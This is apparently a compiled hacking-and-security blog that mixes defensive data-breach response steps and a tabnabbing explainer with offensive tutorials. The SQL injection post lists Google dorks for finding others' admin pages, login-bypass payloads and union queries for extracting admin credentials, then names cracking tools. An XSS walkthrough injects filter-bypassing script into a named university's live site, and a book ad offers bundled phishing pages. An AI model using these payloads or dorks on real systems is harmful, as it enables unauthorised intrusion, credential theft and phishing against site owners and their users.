SecurityHunk

While a major part of preventing all massive potential data intrusion damage or cyber security breaches lies in the preventative measures of secure code, updated security software, use of frequently updated applications and strong passwords for all access points to your data; sometimes cyber security breaches happen no matter how well you have protected yourself. When this happens, prevention no longer matters for the moment and purely defensive and sanitary measures are your best friend.

Definition of Data Breach.

In today's world we have huge amount of data available and that is a lot of information.

Having said that the data can be categorized broadly into private , public etc. These groups can be sub divided further into financial,medical,educations,military intelligence and so on.

Any kind of data that comes into the category that is restricted to public access and is to some extent confidential is  called as private data.These are the kind of data that are commonly hacked by hackers.When these private and confidential data are either made public or accessed by someone who is not authorized for it then this situation or scenario is called as data breach.

Example of social security identity theft and medical data theft is also of high concern.If you remember the Office TV show dialogue,"Identity theft is not joke,Jim".This truly hold good and should taken very seriously.

Example:data breach at experian

Now let’s cover some of these, as applied to assorted systems, including computers, hosting servers and your internal networks.At the end of this post we will also see the recent security breaches of 2019.
1.Make Sure you have been Hacked

Not all strange system behavior is a sign of third party or malware intrusion. Sometimes the complex systems we operate go haywire because of changes we ourselves have made to them without being aware of the consequences.

If your website, computer or network is behaving strangely, not loading properly or giving you blank displays where data or a visual interface should be visible, first think back to any recent changes you might have made that could be responsible for the differences.

In a website hosting system, for example, changing so much as a single parameter within a site’s MySQL database template can lead to a completely downed website even though all the internal data is perfectly safe.

So in other words be very sure that there is cyber security breach and need to prompt enough to take the actions, a minute late in this may result in serious repercussions.

2.Speak to your Support Team

As a follow up to step one above and as a part of general policy, you should speak to your technical support team as soon as you have noticed strange things about your system. If you’re a website owner, this could be the people who manage your IT and hosting servers and if you’re the owner of a business or organizational network, this could be your IT support staff.
They can not only tell you about any changes they may have done to provoke a system failure, they can also help you investigate the wider scope of the intrusion you may be suffering.

3.Image your Servers or Drive

Imaging software for computer hard drives and the same sort of software for servers should always be close at hand. In case of a breach, before proceeding with cleanup and removal of all malicious factors, you should first image your drives or servers immediately in the condition they have at the time of their hack.

This will preserve a large body of evidence which can later be examined through digital forensics techniques, and this evidence vitally needs to be preserved so that you can formulate a better future intrusion response. Knowing if you were the victim of a genuine virus, entry by a human hacker who’s been modifying your code or something as simple as some spyware is crucial.

4. Disconnect from the Web (if possible)

As soon as you have imaged your servers, hard drives and all data or code collections, you should immediately disconnect your servers or computers from the wider web if at all possible.

This may cause chaos and disruptions for clients if you’re running a business website, but as a preventative step it’s vital. By keeping your machines and servers connected, you’re allowing the malware or human intruders who have breached them to continue maintaining malicious access, keep stealing data or causing further damage.

Unless you’re running security scans that require a web connection to work, your systems should be offline while you recover.

5. Change all Passwords

In addition to imaging of all data storage media and disconnection from external access, you should also be moving quickly to change all of your access passwords. They may have been the cause of your security breach and by leaving them as they are, you’re inviting future attacks even after you repair and reinstall everything.

Your machine itself, your hosting server access, your MySQL databases and your FTP should all have their passwords and the passwords of any sub-accounts on them reset immediately.

6. Perform Security Scans

Antivirus software, anti-malware programs and network intrusion protection software should all be tools that you keep close at hand for intrusion incidents. Once your intrusion has been detected and the above steps taken, perform scans that cover all the major bases against malware, spyware, intruders and scripting attacks.

7.Remove all Malicious Files and Code

Through the assistance of your IT support team, your service providers and the security software you have been running, you can start slowly identifying and destroying all the malicious code you find on your network, servers or computer itself. This can be a tedious process and if you’re not sure that you have successfully removed everything, you probably need to do a full re-install.

8. Back up Everything

Back up all of your valuable data as soon as possible after a data breach. You may have already performed a full scale imaging process on your entire servers or drives but specific section backups of key databases and data volumes are also a good idea because they allow you to compartmentalize valuable information for later analysis through digital forensics.

9. Re-install as much as Necessary

If the breach was very severe and especially if the breach affected a lot of data or code, you might have to perform a full scale re-installation of all your software. In a computer, this will require you to format your entire hard drive and re-install your operating system.

On your website hosting servers, you’ll almost certainly need to re-install all o your database management software, LAMP (Linux, Apache, MySQL and PHP) applications along with any other third party software you were running for your website.

Always re-install to the newest versions of whatever software you need to replace.

10. Document Everything

Finally, document everything. Document all of the steps you took, the processes you followed and the files you erased, re-installed and used to clean your machine. Documentation is useful for future digital forensics (if needed) and it preserves a chain of evidence that can be used as a future prevention reference.

11.Report Identity theft to Police.
In case of any identity theft , the first thing we should do is freeze all the confidential information and if needed and possible  reset the information.Then reporting identity theft to Police is of foremost importance so that if in case those confidential information are misused then we have a police report in place.

What is SQL injection ?

SQL(Structured Query Language) injection or insertion is an attack technique that exploits the vulnerability of the web application that communicates with the database of the server.This type of attack is successful if the application fails to validate the user supplied inputs in sql statements to communicate with the database there by allowing the attacker to gain control of all database resources.
Lastly I would like to mention that the application level vulnerability is exploited rather than the server or database side vulnerbility.

I recommend readers if they abide by the blog's Disclaimer then they can proceed reading this post otherwise leave this page immediately.

Basic Sql Injection:
.Asp based websites are basically more vulnerable to this type of attack.So we can use Goolge dorks to find out few sites.

"inurl:admin.asp"
"inurl:adminlogin.asp"
"inurl:adminhome.asp"
"inurl:administratorlogin.asp"
"inurl:administrator_login.asp"

and many more here.

Bypassing Login Screen:
Now that we have arrivied at the administration page we need to enter "admin",admin'--,admin'#,admin'/* etc in username section and the below sql injections in the password section.

' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1—
and many more are there.

Extended SQl Injection:

1.Concept behind Error messages

a.Eg:- http://www.website.com/index.php?id=49'

b.A ' is need to be added after the digit 49.

c.An error as below proves that it is vulnerable to SQL injection.
d.If nothing is shown up then it is vulnerable to "Blind SQL injection".

2.Now we need to find the no.of columns in the database by using "ORDER function".
As we got error at "10" so the no of columns in the database is "9".

3.Now we need to find the most vulnerable column by using "UNION function"


a.Look out for some random number in the screen as shown below.

b.Dash "-" is compulsory (id=-32) instead of (id=32)

c.Now, if this displays an error/blank page, just move on to the next site.

d.If it displays a couple numbers on the page, congrats! The site is vulnerable.

4.Now we need to find the SQL database version of the site.

Injection for VERSION 4:

If you get version 4 from the above step then it will be bit difficult as we have to guess the tables and columns.There we have to adapt the hit and trail methods and the chance of success is very limited.


Injection for VERSION 5 and above:

1.Now we need to find the tables of the above vulnerable column.

a.Tables are always lying into the information_schema.tables‘s Database.So to extract tables from it the query is like below.

b.Most vulnerable column is 9 so we have put table_name inplace of 9.

c.It will only show the first table name which is lying in the database at the top.But to show all the tables “group_concat(table_name)” function is used.

d.http://www.website.com/news.php?id=-49 union all select 1,2,3,4,5,6,7,8,group_concat(table_name) from information_schema.tables where table_schema=database()

OR
e.We got cms_comments,cms_docs,cms_user etc... as tables.

2.Now we need to find the columns from the desired table.Here it is cms_user.

a.The input string need to be converted into Decimal/Ascii equivalent inorder to communicate with the database.

b.You may use (http://easycalculation.com/ascii-hex.php) to convert any string to Decimal/Ascii equivalent or you can also use a Firefox Addon.
c.With cms_user as input the ASCII value is 99 109 115 95 117 115 101 114.

d.http://www.website.com/news.php?id=-49 union all select 1,2,3,4,5,6,7,8,group_concat(column_name) from information_schema.columns where table_name=char(99 109 115 95 117 115 101 114) is the modified code.

e."group_concat" used for all columns and since we are concerned with columns so "information_schema.columns" is used instead of "information_schema.tables".
f.Here we got id,c_name,f_name as the columns of the table cms_user.

g.In order to retrive datas it is needed to replace group_concat(column_name) with group_concat(id,0x3a,c_name,0x3a,f_name) from cms_user here "0x3a" is just the colon and that will separate the contents which we will retrieve.

*So all ids,c_name values,f_name values on the screen.Similarly if you get the admin table and you found some columns of admin_name and password then you have to implement the query as,Group_concat(admin_name,0x3a,password)from admin here
admin_name and the password are the columns and admin is the table name.

*If the password in encrypted form then we have to use few tools like John the ripper,Cain & Able or if it is md5 or any other encrypted then we may use few online decrypter which you can get through google.You may use the list of few online decrypter I have provided here.


Few important points:

1.We can use instead of -- put /* or even nothing in the above statements.

2.In order to find the version of the database we can use @@version or version() and may use user(),database() to check the database type and user.

3."0x3a" is used as separator of the retrieve data,it is only a colon.

4.A "'" is need to be added inorder to check the vulnerability if nothing is shown up then it may be under "Blind Sql Injection"

By: Chintan Gurjar and edited,updated by Satyajit Das(Admin).

About Chintan Gurjar:He is an Ethical Hacking enthusiast and a final year B.tech student form Ahmedabad, India and a nice person you can catch him here.

Recently Google has reported a XSS vulnerability security issue with its Web Optimizer code.So,it has requested its users to update the code in their site immediately.Though the level of threat is low but it is recommended to update the code.The  attacker may exploit this vulnerability and execute malicious code in the victim's site but the attack can be successful  if the attacker has earlier compromised  the web browser.So, friends do update your code immediately and create a new experiment of web optimizer.

Below I have posted the screen shot of the mail that google has sent to my inbox with this alert.

Email: www.securityhunk.com

I hope you have already heard about Cross Site Scripting know as XSS. I have focussed on finding an XSS hole and bypassing a filter to see how to XSS attack.XSS is a web application vulnerability that occurs due to improper or no filtration of user's input . It enables the malicious attackers to inject client-side script into web pages.

This tutorial is for educational purpose and make the people aware of such a threat.I recommend readers if they abide by the blog's Disclaimer then they can proceed reading this post otherwise leave this page immediately.

You might have tried finding an XSS hole by inserting a script like this
<script>alert('XSS')</script> in Search fields and hoping for a box to popup saying XSS. But its not always the way to find a XSS bug.

This example will make you everything clear.

Okay, go to this URL

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=Overview

Lets Replace 'Overview' with any keyword . Say 'test'
and hit enter

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=test

Now check the source code of page and search for keyword 'test' by using Ctrl+F
and we can find that in the code.

Note:Click on the images to zoom them.

Carefully, see where it got inserted in the source code


Now lets replace the 'test' with </title><h1>XSS</h1> and see what happens

Note:<h1> It is the html heading tag </h1>

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=</title><h1>XSS</h1>

We can see the keyword 'XSS' displayed on the webpage.

Lets again see the page source

We entered </title> to complete the title tag ( <title>) and <h1>XSS</h1> is the actually html tag we wanted to see on the page.

I hope it was a simple part and is clear to you.

Now Lets try to execute a javascript code <script>alert('XSS')</script>. A popup message box saying XSS should appear on the webpage.
Lets go to this URL

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=</title><script>alert('XSS')</script>

But Nothing Happens !!!

Now check the source code again
See the slashes ( \ ) automatically inserted before the single quotes ( ' ) ,we entered. Obviously,due to this our code didn't execute.This is a kind of filter that we need to bypass .

Here we will be using a javascript built in function called String.FromCharCode() that is used to encode/decode strings. Now both these codes

<script>alert('XSS')</script> and <script>alert(String.fromCharCode(88, 83, 83))</script>

has the same function but we can see that there are no quotes in the second code.

Note: 88 and 83 are ASCII values for X and S respectively. Visit this http://www.asciitable.com for more.

Finally, try this

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=</title><script>alert(String.fromCharCode(88, 83, 83))</script>

Yes, it worked.

I hope you liked this demo :)

By Aneesh M. Makker , an ethical hacking enthusiast from engineering department of Punjabi University.
Link to facebook profile .

A Beginners Guide to Ethical Hacking



Download
Why you should buy this book?

• Are you interested in ethical hacking but donot know where to start then this book by Rafay Baloch is the most reliable source and i too also recommend it. 
• "A Beginners Guide to Ethical Hacking" is really a great book for newbie hackers those who are really curious for ethical hacking and lead them to become a master hacker.
• Amaze your friends with awesome hacking tricks from this book and apply them to real world situation.
• It will help you learn how to make your computer secure and free from future hack attacks.
• This book will certainly make your dream come true.
• This book is a unique of its kind and you can have you copy from the vendor.

Bonus 1:  



1000 Hacking Tutorials 

For a limited time only , with the purchase of “A Beginner’s Guide to Ethical Hacking” you will receive the following bonus package! 1000 Hacking Tutorials contains 1000 of the best hacking tutorials of 2010 leaked on the internet!

Set of Phishers

With the purchase of A beginners Guide to Ethical Hacking you will also get a set of 30+ phishers(Fake login page) already created by Rafay.

Its Decision Time!
Now you have heard it all so what are you waiting for.

• This book does not demand any prior knowledge about Hacking. So if you are a newbie to the concept of hacking and want to master it from the basics, then this book is for you.
• The information given in this underground handbook will put you into a hacker’s mindset and teach you all of the hacker’s secret.So what are you waiting for! Grab "A Beginners Guide to Ethical hacking" and start your Hacking journey.

Note: A Beginners guide to Ethical Hacking is in PDF format to make it easy for you to apply the information in real world.

A Beginner's Guide to Ethical Hacking

Regular Price $67.00  Today's Price $20.00

Download Me

Well it is always advisable to use an up-to-date  OS and patch the OS with the available update files,if you donot do that then some person aware of the vulnerability in your system can plant an attack.Few days back i came across a  security flaws in Microsoft's design,technically speaking it is called as "Microsoft Windows Shortcut 'LNK/PIF' Files Automatic File Execution Vulnerability(CVE-2010-2568)".

How does it Works?

Actually it a flaw in the Windows OS design,this is mainly caused by Windows control panel shortcut image display routine.The flaw is that windows incorrectly parses the shortcut in such a way that the trojan/malware code can be installed when the icon of the shortcut is displayed.The vulnerable file is shell32.dll and the vulnerable routine is contol panel related where the windows does correcctly manage the parameters of the shortcut file as shown in the image below.
 Image source:http://community.websense.com

How the system can be exploited ?

The vulnerable system having this flaw (except Mac & Linux) can be exploited by using USB or through networks or CD/DVD.Since the Ms windows OS is unable to properly handle "lnk/pif" and automatically runs a file therefore an attacker can run any arbitrary code from USB,CD or through networks.
Since the milw0rm is down nowadays....i found the exploit in http://www.securityfocus.com/bid/41732/discuss ,here you can download the exploit file and use it for educational purpose.

Watch the Demo.....

Note:This expliot is possible on Win Xp/7/Vista etc.

Countermeasures....

1.You can download Sophos's windows shortcut protection tool  to detect and block exploit from running.
(Download)

2.Read Microsoft Security Advisory(2286198) ,scan for available updates and patch them.

3.If you are really panic about this exploit then hop up to Mac or Linux.....lol.

4.If you are using a third party firewall and it has custom file blocking fuctions then you can use it to block "lnk/pif" shortcuts.

If you find this article worth reading then do drop a comment it will be appreciated.

IF YOU LIKED THE CONTENT OF THIS BLOG THEN DO "VOTE" FOR IT........

In many of my post I have pointed out the concept of  "Phishing" in  Email hacking,where the attacker sends a fake/spoof  login page to the victim having manipulated the url to create some sort of illusion.Few months back "Aza Raskin" the Creative Lead  of Mozilla Firefox describes  a new form of  Phishing attack called "Tabnabbing" which manipulates the Tab browsing  of the users.

 What is Tabnabbing?

I feel  you can guess the work it does from its name,Tab means "the different windows attached to the same browser" and Nabbing means "to seize something forcefully".In the same way  for Tabnabbing ,when the user has opened up multiple tabs in the browser and after sometime comes back to one of the earlier opened tab then he/she finds that the content,title,favicon of that tab has changed to a login page of any email account or bank  login page....lol.Apart from  manipulating the tabs of the browser the attacker manipulates the memory of the victim because if the user does not remember what  website he/she had open in that tab then  he/she would login to that fake page thinking that it was open by him/her.....lol.

Check out the video to see the demo.



A New Type of Phishing Attack from Aza Raskin on Vimeo.

How does it works?

The main concept behind this is that  the attacker puts a Javascript in the pagesource code which waits for a certain period of delay and then  changes its favicon,title and content.It is more evil if it the script is intelligent enough which means it detect which sites the user visits normally and then accordingly switch to that site using tabnabbing.


Why is online banking is more vulnerable to this?

In online banking you must have noticed that  if you have logged in to the official page and left it idle for few minutes then it is automatically logged out.Due to this feature Tabnabbing is very  handy in attacking users of online banking beacause the users feel that  he/she would have logged in to the bank account and the session has expired.

CounterMeasures:
 I would recommend Mozilla Firefox browser for web access because it has many security addons which are very handy and easy to use.

1.WOT:Marks the websites with colour and warns the users.(Download)

2.NoScript:This addon protects from XSS,IFrames,ClickJacking,stops Javascript.(Download)

3.Safe:Makes SSL  and extended SSL moree visible to user.(Download)

4.Secure Login:It has a feature to enable or disable Javascript and manages the password manger of Mozilla.(Download)

5.PhishTankSiteChecker:It warns the user about a phish attack.(Download)

6.Close all the browser tabs and web based applications that uses browser cache when using online banking.

7. You can also use some Linux Live CD to access internet while using online banking.

Source:http://www.azarask.in/

If you find this post worthy  to read  do post a comment , it will be appreciated.

IF YOU FIND THIS BLOG WORTH READING THEN DO "VOTE" FOR IT........